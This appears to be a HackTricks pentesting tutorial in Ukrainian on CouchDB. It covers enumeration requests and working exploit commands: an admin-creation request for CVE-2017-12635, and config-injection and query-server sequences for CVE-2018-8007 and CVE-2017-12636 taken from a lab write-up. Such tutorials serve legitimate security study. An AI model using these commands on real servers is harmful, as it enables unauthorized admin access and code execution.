5984,6984 - Pentesting CouchDB
Reading time: 12 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Основна інформація
CouchDB є універсальною та потужною документоорієнтованою базою даних, яка організовує дані за допомогою структури ключ-значення в кожному документі. Поля в документі можуть бути представлені як пари ключ/значення, списки або мапи, що забезпечує гнучкість у зберіганні та отриманні даних.
Кожному документу, збереженому в CouchDB, присвоюється унікальний ідентифікатор (_id
) на рівні документа. Крім того, кожна зміна, внесена та збережена в базі даних, отримує номер ревізії (_rev
). Цей номер ревізії дозволяє ефективно відстежувати та управляти змінами, полегшуючи отримання та синхронізацію даних у базі даних.
Порт за замовчуванням: 5984(http), 6984(https)
PORT STATE SERVICE REASON
5984/tcp open unknown syn-ack
Автоматичне перерахування
nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum
Ручна енумерація
Банер
curl http://IP:5984/
Це надсилає GET-запит до встановленої інстанції CouchDB. Відповідь повинна виглядати приблизно так:
{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
note
Зверніть увагу, що якщо при доступі до кореня couchdb ви отримуєте 401 Unauthorized
з чимось на зразок: {"error":"unauthorized","reason":"Authentication required."}
ви не зможете отримати доступ до банера або будь-якої іншої кінцевої точки.
Info Enumeration
Це кінцеві точки, до яких ви можете отримати доступ за допомогою GET запиту та витягти деяку цікаву інформацію. Ви можете знайти більше кінцевих точок та більш детальні описи в документації couchdb.
/_active_tasks
Список запущених завдань, включаючи тип завдання, назву, статус та ідентифікатор процесу./_all_dbs
Повертає список усіх баз даних у екземплярі CouchDB.- **
/_cluster_setup
** Повертає статус вузла або кластера, відповідно до майстра налаштування кластера. /_db_updates
Повертає список усіх подій бази даних у екземплярі CouchDB. Існування бази даних_global_changes
є обов'язковим для використання цієї кінцевої точки./_membership
Відображає вузли, які є частиною кластера якcluster_nodes
. Полеall_nodes
відображає всі вузли, про які знає цей вузол, включаючи ті, що є частиною кластера./_scheduler/jobs
Список завдань реплікації. Опис кожного завдання включатиме інформацію про джерело та ціль, ідентифікатор реплікації, історію останніх подій та кілька інших речей./_scheduler/docs
Список станів документів реплікації. Включає інформацію про всі документи, навіть у станахcompleted
таfailed
. Для кожного документа повертає ідентифікатор документа, базу даних, ідентифікатор реплікації, джерело та ціль, а також іншу інформацію./_scheduler/docs/{replicator_db}
/_scheduler/docs/{replicator_db}/{docid}
/_node/{node-name}
Кінцева точка/_node/{node-name}
може бути використана для підтвердження імені вузла Erlang сервера, який обробляє запит. Це найбільш корисно при доступі до/_node/_local
, щоб отримати цю інформацію./_node/{node-name}/_stats
Ресурс_stats
повертає об'єкт JSON, що містить статистику для запущеного сервера. Літеральний рядок_local
служить псевдонімом для імені локального вузла, тому для всіх URL статистики{node-name}
може бути замінено на_local
, щоб взаємодіяти зі статистикою локального вузла./_node/{node-name}/_system
Ресурс _system повертає об'єкт JSON, що містить різну статистику на рівні системи для запущеного сервера_._ Ви можете використовувати ___local
як {node-name}, щоб отримати інформацію про поточний вузол./_node/{node-name}/_restart
/_up
Підтверджує, що сервер працює, запущений і готовий відповідати на запити. Якщоmaintenance_mode
єtrue
абоnolb
, кінцева точка поверне відповідь 404.- **
/_uuids
** Запитує один або кілька універсально унікальних ідентифікаторів (UUID) з екземпляра CouchDB. - **
/_reshard
** Повертає кількість завершених, невдалих, запущених, зупинених та загальних завдань разом зі станом повторного розподілу на кластері.
Більш цікаву інформацію можна витягти, як пояснено тут: https://lzone.de/cheat-sheet/CouchDB
Database List
curl -X GET http://IP:5984/_all_dbs
Якщо цей запит відповідає з 401 неавторизованим, тоді вам потрібні дійсні облікові дані для доступу до бази даних:
curl -X GET http://user:password@IP:5984/_all_dbs
Щоб знайти дійсні облікові дані, ви можете спробувати зламати сервіс.
Це приклад відповіді couchdb, коли у вас є достатні привілеї для переліку баз даних (Це просто список баз даних):
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
Інформація про базу даних
Ви можете отримати деяку інформацію про базу даних (наприклад, кількість файлів та їх розміри), отримавши доступ до назви бази даних:
curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}
Список документів
Перерахуйте кожен запис у базі даних
curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}
Прочитати документ
Прочитайте вміст документа всередині бази даних:
curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
CouchDB Привілейоване Підвищення CVE-2017-12635
Завдяки відмінностям між парсерами JSON Erlang та JavaScript ви можете створити адміністратора з обліковими даними hacktricks:hacktricks
за допомогою наступного запиту:
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
Більше інформації про цю вразливість тут.
CouchDB RCE
Огляд безпеки Erlang Cookie
Приклад з тут.
У документації CouchDB, зокрема в розділі, що стосується налаштування кластеру (посилання), обговорюється використання портів CouchDB в режимі кластера. Зазначається, що, як і в автономному режимі, використовується порт 5984
. Крім того, порт 5986
призначений для локальних API вузлів, а важливо, що Erlang вимагає TCP порт 4369
для демона відображення портів Erlang (EPMD), що полегшує зв'язок між вузлами в кластері Erlang. Це налаштування формує мережу, де кожен вузол пов'язаний з усіма іншими вузлами.
Особливу увагу приділено важливому advisory безпеки щодо порту 4369
. Якщо цей порт стає доступним через Інтернет або будь-яку ненадійну мережу, безпека системи сильно залежить від унікального ідентифікатора, відомого як "cookie". Цей cookie діє як захист. Наприклад, у даному списку процесів може бути спостережено cookie з назвою "monster", що вказує на його операційну роль у системі безпеки.
www-data@canape:/$ ps aux | grep couchdb
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
Для тих, хто зацікавлений у розумінні того, як цей "cookie" може бути використаний для віддаленого виконання коду (RCE) в контексті систем Erlang, доступний спеціальний розділ для подальшого читання. Він детально описує методології використання cookie Erlang несанкціонованими способами для досягнення контролю над системами. Ви можете дослідити детальний посібник з зловживання cookie Erlang для RCE тут.
Експлуатація CVE-2018-8007 через модифікацію local.ini
Приклад звідси.
Недавно розкрита вразливість CVE-2018-8007, що впливає на Apache CouchDB, була досліджена, виявивши, що експлуатація вимагає прав на запис до файлу local.ini
. Хоча це не було безпосередньо застосовно до початкової цільової системи через обмеження безпеки, були внесені зміни, щоб надати доступ на запис до файлу local.ini
для цілей дослідження. Детальні кроки та приклади коду наведені нижче, демонструючи процес.
Спочатку середовище готується, забезпечуючи, щоб файл local.ini
був записуваним, що перевіряється шляхом переліку прав:
root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
-rw-rw-rw- 1 homer homer 4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
Щоб експлуатувати вразливість, виконується команда curl, націлена на конфігурацію cors/origins
у local.ini
. Це інжектує новий походження разом з додатковими командами в секцію [os_daemons]
, з метою виконання довільного коду:
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
Подальша перевірка показує ін'єковану конфігурацію в local.ini
, порівнюючи її з резервною копією, щоб підкреслити зміни:
root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
< [cors]
< origins = 0xdf
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf
Спочатку очікуваний файл (/tmp/0xdf
) не існує, що вказує на те, що ін'єкована команда ще не була виконана. Подальше розслідування виявляє, що процеси, пов'язані з CouchDB, працюють, включаючи один, який потенційно може виконати ін'єковану команду:
root@canape:/home/homer/bin# ps aux | grep couch
Завершуючи виявлений процес CouchDB і дозволяючи системі автоматично перезапустити його, виконується ін'єкована команда, що підтверджується наявністю раніше відсутнього файлу:
root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf
Це дослідження підтверджує життєздатність експлуатації CVE-2018-8007 за певних умов, зокрема вимогу наявності прав на запис до файлу local.ini
. Наведені приклади коду та процедурні кроки пропонують чіткий посібник для відтворення експлуатації в контрольованому середовищі.
Для отримання додаткової інформації про CVE-2018-8007 зверніться до рекомендацій mdsec: CVE-2018-8007.
Дослідження CVE-2017-12636 з правами на запис у local.ini
Приклад звідси.
Вразливість, відома як CVE-2017-12636, була досліджена, що дозволяє виконання коду через процес CouchDB, хоча певні конфігурації можуть перешкоджати її експлуатації. Незважаючи на численні посилання на Proof of Concept (POC), доступні в Інтернеті, необхідні коригування для експлуатації вразливості на версії CouchDB 2, яка відрізняється від зазвичай націленої версії 1.x. Початкові кроки включають перевірку версії CouchDB та підтвердження відсутності очікуваного шляху серверів запитів:
curl http://localhost:5984
curl http://0xdf:df@localhost:5984/_config/query_servers/
Щоб підтримувати версію CouchDB 2.0, використовується новий шлях:
curl 'http://0xdf:df@localhost:5984/_membership'
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
Спроби додати та викликати новий сервер запитів зустрілися з помилками, пов'язаними з дозволами, про що свідчить наступний вихід:
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
Подальше розслідування виявило проблеми з правами доступу до файлу local.ini
, який не можна було змінити. Змінивши права доступу до файлу з правами root або homer, стало можливим продовжити:
cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
chmod 666 /home/homer/etc/local.ini
Подальші спроби додати сервер запитів були успішними, про що свідчить відсутність повідомлень про помилки у відповіді. Успішна модифікація файлу local.ini
була підтверджена через порівняння файлів:
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
Процес продовжився створенням бази даних та документа, після чого була спроба виконати код через користувацьке відображення, що відображає новостворений сервер запитів:
curl -X PUT 'http://0xdf:df@localhost:5984/df'
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'
резюме з альтернативним payload надає додаткову інформацію про експлуатацію CVE-2017-12636 за певних умов. Корисні ресурси для експлуатації цієї вразливості включають:
Shodan
port:5984 couchdb
Посилання
- https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
- https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.